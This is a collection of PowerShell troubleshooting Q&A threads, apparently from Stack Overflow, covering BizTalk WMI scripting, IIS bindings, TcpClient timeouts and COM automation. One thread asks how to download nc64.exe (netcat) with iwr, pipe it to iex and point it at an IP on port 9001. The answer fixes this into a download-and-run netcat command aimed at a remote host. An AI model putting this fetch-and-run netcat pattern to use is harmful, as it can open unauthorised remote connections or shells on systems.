Is there a guide to the (somewhat) convoluted PowerShell syntax? Example with Biztalk - syntax

I should probably not ask a generic question with a specific example, but I have a hard time translating some basic commands from the PowerShell console to reusable functions and custom cmdlets. Is there a definitive guide to the syntax of PowerShell somewhere, with gotchas, hints and tips?
For instance, I'm trying to create a function in order to automate the administration of BizTalk Host instances. The following function does not work (fails at runtime) whereas each individual line works and performs as expected when individually pasted in a PowerShell console.
function AddNewHostInstance([string]$ServerName, [string]$HostName, [string]$Login, [string]$Password)
{
[System.Management.ManagementObject]$objServerHost = `
([WmiClass]"root/MicrosoftBizTalkServer:MSBTS_ServerHost").CreateInstance()
$objServerHost["ServerName"] = $ServerName
$objServerHost["HostName"] = $HostName
$objServerHost.Map()
$name = "Microsoft BizTalk Server " + $HostName + " " + $ServerName
[System.Management.ManagementObject]$objServerHost = `
([WmiClass]"root/MicrosoftBizTalkServer:MSBTS_HostInstance").CreateInstance()
$objHostInstance["Name"] = $name
$objHostInstance.Install($Login, $Password, $True)
}
By the way, the error I receive in this particular case is this one:
PS C:\Users\username> createHostInstances $server, $host, $user, $pwd
Exception calling "Map" : "Invalid parameter "
At line:14 char:39
+ $objServerHost.Map <<<< ()
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WMIMethodException
Exception calling "Install" : "Instance of the WMI class is not found.
No instance was found with the specified key. This could be the result of the instance being deleted by another BizTalk Admin session."
At line:19 char:29
+ $objHostInstance.Install <<<< ($Login, $Password, $True)
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WMIMethodException
PS C:\Users\username>
[Edit] After further investigation, it seems that the function does not like assigning properties to WMI object via a variable. If I hardcode all values (instead of relying on the supplied function parameters), then it works as expected !
Basically, this works:
# Using hard-coded value
$objServerHost["HostName"] = "TestHost"
Whereas this, does not:
# Using function supplied parameter
$objServerHost["HostName"] = $HostName
Still, I don't understand why...

As far as guides go, the best book out there is Windows PowerShell in Action by Bruce Payette. There is a second edition due in February but you can get early access to the electronic draft. There are also a couple of free books out there. Mastering PowerShell by Dr. Tobias Weltner and I also have a short < 60 pages eBook - Effective Windows PowerShell. This last one covers a number of gotchas as well as providing you with a mental model for how PowerShell works.
WRT the error, I wonder if you would have better luck using PowerShell's built-in support for WMI e.g.:
$namespace = 'root/MicrosoftBizTalkServer'
$host = Get-WmiObject -namespace $namespace -class MSBTS_HostInstance
See if the resulting WMI object has the appropriate data & methods (Map & Install):
$host | fl *
$host | Get-Member

Regarding the Map() error, sometimes with WMI you need to drop back and instead do $objServerHost.psbase.Invoke("Map"). Other than that, I've got a few sample PowerShell scripts for BizTalk administration you might find useful as guides.

Related

How to use Powershell to download and pipe to execution with arguments

I am trying to use powershell to download and execute a file with arguments:
. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001
I get this error:
Unexpected token '9001' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
Any help appreciated.
Invoke-Expression (ie) is for interpreting and executing text as PowerShell code[1] - you can't use it to execute a binary download directly (which PowerShell fundamentally doesn't support).
Instead, use Invoke-WebRequest's (iwr's) -OutFile parameter to download the binary content to a local file and execute the latter:
iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe
./nc64.exe $someIp 9001
[1] The obligatory warning: Invoke-Expression (iex) should generally be avoided and used only as a last resort, due to its inherent security risks. Superior alternatives are usually available. If there truly is no alternative, only ever use it on input you either provided yourself or fully trust - see this answer.

New-WebBinding: Cannot retrieve the dynamic parameters for the cmdlet

We're using Windows 2012 Server R2.
We're trying to automate the creation of LetsEncrypt certificates. We're using LetsEncrypt-Win-Simple (https://github.com/Lone-Coder/letsencrypt-win-simple).
Once the cert is created (via LetsEncrypt.exe) we have a .bat script that gets called (using the --script and --scriptparameters flags). This runs powershell.exe and tries to create the necessary IIS binding. The line in the .bat file is:
powershell.exe -file c:\temp\SSLIISBinding.ps1 %1 %2 %3 %4
The %1-4 are args passed in by LetsEncrypt. In the powershell script, the command we're trying to run is:
$iis_host_name = $args[0]
$iis_site_name = $args[1]
$certificate_hash = $args[2]
$certificate_store = $args[3]
"IIS Host Name: " + $iis_host_name
"IIS Site Name: " + $iis_site_name
"Certificate Hash: " + $certificate_hash
"Certificate Store: " + $certificate_store
$guid = [guid]::NewGuid().ToString("B")
netsh http add sslcert hostnameport="${iis_host_name}:443" certhash=$certificate_hash certstorename=$certificate_store appid="$guid"
New-WebBinding -name $iis_site_name -Protocol https -HostHeader $iis_host_name -Port 443 -SslFlags 1
The args are passed into the .bat fine, as we output them and they are showing correctly.
If we run the .bat file on its own, it works perfectly. If it gets called by LetsEncrypt.exe it fails, reporting the following issue:
New-WebBinding : Cannot retrieve the dynamic parameters for the cmdlet.
Retrieving the COM class factory for component with CLSID
{688EEEE5-6A7E-422F-B2E1-6AF00DC944A6} failed due to the following error:
80040154 Class not registered (Exception from HRESULT: 0x80040154
(REGDB_E_CLASSNOTREG)).
At C:\temp\SSLIISBinding.ps1:13 char:1
+ New-WebBinding -name $iis_site_name -Protocol https -HostHeader
$iis_host_name ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
+ CategoryInfo : InvalidArgument: (:) [New-WebBinding], Parameter
BindingException
+ FullyQualifiedErrorId : GetDynamicParametersException,Microsoft.IIs.Powe
rShell.Provider.NewWebBindingCommand
I've googled, some mentioning something about 32bit vs 64bit powershell, but I've tried using all the different powershell.exe available.
Anyone hit this issue, or know to resolve.
If we call .bat directly from command line it works fine, just as part of being called via LetsEncrypt.exe. A permission problem? Wrong powershell.exe?
That part of your question:
I've googled, some mentioning something about 32bit vs 64bit powershell
is already half of an answer. Some commands do not run properly if bitness of PowerShell process does not match bitness of operation system. So, you need to run powershell.exe, which located in this %windir%\System32\WindowsPowerShell\v1.0\ directory. But there is a little problem described in this documentation topic:
In most cases, whenever a 32-bit application attempts to access %windir%\System32, the access is redirected to %windir%\SysWOW64.
Thus, if 32-bit program on 64-bit OS invoke %windir%\System32\WindowsPowerShell\v1.0\powershell.exe, it will actually invoke 32-bit version of PowerShell from here %windir%\SysWOW64\WindowsPowerShell\v1.0\ instead of 64-bit one. To actually invoke 64-bit PowerShell from 32-bit application you need to use this trick:
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access.
I've got the same error when running the following cmdlet:
PS> Remove-WebAppPool -Name 'Test'
Remove-WebAppPool : Cannot retrieve the dynamic parameters for the cmdlet. Retrieving the COM class factory for
component with CLSID {688EEEE5-6A7E-422F-B2E1-6AF00DC944A6} failed due to the following error: 80040154 Class not
registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).
At line:1 char:1
+ Remove-WebAppPool -Name 'Test'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Remove-WebAppPool], ParameterBindingException
+ FullyQualifiedErrorId : GetDynamicParametersException,Microsoft.IIs.PowerShell.Provider.RemoveAppPoolCommand
The reason was because I ran it using Windows PowerShell (x86) on my Windows 10 x64 machine.
When I tried the same but using Windows PowerShell, which is 64 bit version, it worked just fine.
I think your $guid is the issue. The GUID needs to be the GUID of the program to bind the cert to. For your example port 443 is only bound to a random GUID, and not your program's GUID. IIS and other apps have a static GUID that you will want to use. If the GUID for a powershell script then Get-host is the powershell host executing code so that's the GUID you need. It changes for every powershell session and the netsh binding needs to as well.
$appid = "appid={"+(get-host).InstanceId.guid+"}"
$certhash = ls Cert:\LocalMachine\my | where {$.EnhancedKeyUsageList -Match 'Server' -and $.subject -match (hostname)}|sort-object $_.NotAfter|select -expand Thumbprint -last 1
$cmdline='netsh http add sslcert ipport=0.0.0.0:443 certhash=' + $certhash + ' "' + $appid + '"'
netsh http delete sslcert ipport=0.0.0.0:443
Invoke-Expression $cmdline
A google search for "Cannot retrieve the dynamic parameters for the cmdlet" brought me here but my issue was using powershell from the command line, and the answer was to escape the double quotes on the command...
I've got a problem with the same error. This happens when i'm trying to Add-WebBinding to my IIS site remotely, using Invoke-Command from different agent machines at time.
It's worked for me, maybe it helps someone too:
$Mutex = New-Object -TypeName System.Threading.Mutex($false, "Global\Mutex")
if ($Mutex.WaitOne(300000)) {
#For example
#$Command = {
#New-WebBinding -name $iis_site_name -Protocol https -HostHeader
#$iis_host_name -Port 443 -SslFlags 1
#}
#Invoke-Command -Command $Command
} else {
Write-Warning "Timed out acquiring mutex!"
}
$Mutex.Dispose()

PowerShell ISE vs Script

I am playing around powershell the idea is simple:
I want to verify if certain TCP port is open.
Now, I can run this as PowerShell script or I can run it in ISE.
Now, in ISE everything is fine, the script runs as supposed to.
When I run it as PowerShell Script however, I am getting error message:
Method invocation failed because [System.Net.Sockets.TcpClient] does not contain a method named 'ReceiveTimeout'.
At P:\checkTCP80.ps1:7 char:1
+ $tcpClient.ReceiveTimeout(5)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : MethodNotFound
Code:
$servery = gc .\servers.txt
foreach ($server in $servery)
{
$tcpClient = New-Object System.Net.Sockets.TCPClient
$tcpClient.ReceiveTimeout(5)
$tcpClient.Connect($server,80)
Write-Host ($server, $tcpClient.Connected)
}
I have 2 questions:
How come, that the output parameter works just fine from ISE but does not work when this is launched as a script?
How to fix it?
According to the MS documentation on this class ReceiveTimeout is a property and not a method.
Try changing $tcpClient.ReceiveTimeout(5) to $tcpClient.ReceiveTimeout = 5

Powershell COM object Exception from HRESULT: 0x80010108 (RPC_E_DISCONNECTED)

I am trying to use powershell to script some tasks within internet explorer. This involves downloading a file from a website after logging in to the site. I have one working test script, but the same code for the actual site gives me this error:
The '=' operator failed: The object invoked has disconnected from its clients. (Exception from HRESULT: 0x80010108 (RPC_E_DISCONNECTED)).
At U:\PowershellScriptProjectSFTP\test.ps1:71 char:22
+ $controlRef = <<<< $browserDoc.getElementByID($controlID)
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : OperatorFailed
$browserDoc
$ie = new-object -com "InternetExplorer.Application"
$ie.navigate("about:blank")
$ie.visible = $true
[System.Threading.Thread]::Sleep(2000)
$ie.navigate($URL)
#get controls
write-host "Getting Document"
$browserDoc=$ie.Document
write-host "Getting Email component"
$email = $browserDoc.getElementById("MainContent_userEmail")
write-host "Getting Password component"
$pass = $browserDoc.getElementById("MainContent_userPassword")
write-host "Getting Button component"
$login = $browserDoc.getElementById("MainContent_submitButton")
The actual error is occuring elsewhere in the code, which I have left out because it is doing the same thing as up here, but during the loop to ensure the page is done loading. This code has worked from the same machine on a different site, but both were .net aspx 2.0 sites.
Basically, once the internet explorer navigates to the specified url, powershell loses the ability to communicate with the object, and this error is followed by several InvokeMethodOnNull and PropertyNotFound errors (these I understand, they are a result of referencing $ie, which has become a null object, the entire problem I am trying to diagnose). I am running Windows 7. Microsoft claims to have a fix for this, but only for XP and Server 03 and 08.
Really, just any explaination for what causes this behavior is all I am looking for. As I said, this same code pointed to some websites works perfectly, and at others fails everytime.
Just ran into this myself and found that running the Powershell window "as administrator" fixed the problem.

Loading a Type Library via PowerShell and scripting Windows Live Writer

I'm very new to COM and Windows programming/scripting in general. What I was trying to do is scripting Windows Live Writer; according to the documentation before I can call
$o = New-Object -c WindowsLiveWriter.Application
I need to load the TLB first, so I should call the add-type command, unfortunately it fails:
PS C:\Users\NoWhereMan> add-type windowslivewriter.application
Add-Type : c:\Users\NoWhereMan\AppData\Local\Temp\a7ifbimo.0.cs(1) : A namespace does not directly contain members such
as fields or methods
c:\Users\NoWhereMan\AppData\Local\Temp\a7ifbimo.0.cs(1) : >>> windowslivewriter.application
At line:1 char:9
+ add-type <<<< windowslivewriter.application
+ CategoryInfo : InvalidData: (c:\Users\NoWher...elds or methods:CompilerError) [Add-Type], Exception
+ FullyQualifiedErrorId : SOURCE_CODE_ERROR,Microsoft.PowerShell.Commands.AddTypeCommand
Add-Type : Cannot add type. There were compilation errors.
At line:1 char:9
+ add-type <<<< windowslivewriter.application
+ CategoryInfo : InvalidData: (:) [Add-Type], InvalidOperationException
+ FullyQualifiedErrorId : COMPILER_ERRORS,Microsoft.PowerShell.Commands.AddTypeCommand
for what it's worth, I'm running Windows7 x64
EDIT: x64 was the key issue, I needed to run PSH as a x86 process
Thanks
From help add-type:
Adds a Microsoft .NET Framework type (a class) to a Windows PowerShell session.
but windowslivewriter.application is not a .NET type.
PowerShell (PSH) directly supports COM objects, you do not need to take any special steps to load the Type Library (TLB)1, just call the methods diretcly as given in the documentation for the component. E.g.:
$lw = New-Object -com WindowsLiveWriter.Application
$lw.NetPost()
to launch the new post editor.
Summary: you do not need to load the TLB first.
Under 64bit Windows, you might need to ensure you are running a 32bit instance ("x86") of PSH to do this (depending if the Live Writer component runs in or out of process).
1 Strictly speaking, this only applies to COM types that support scripting with IDispatch, but in practice there are few that don't.

Resources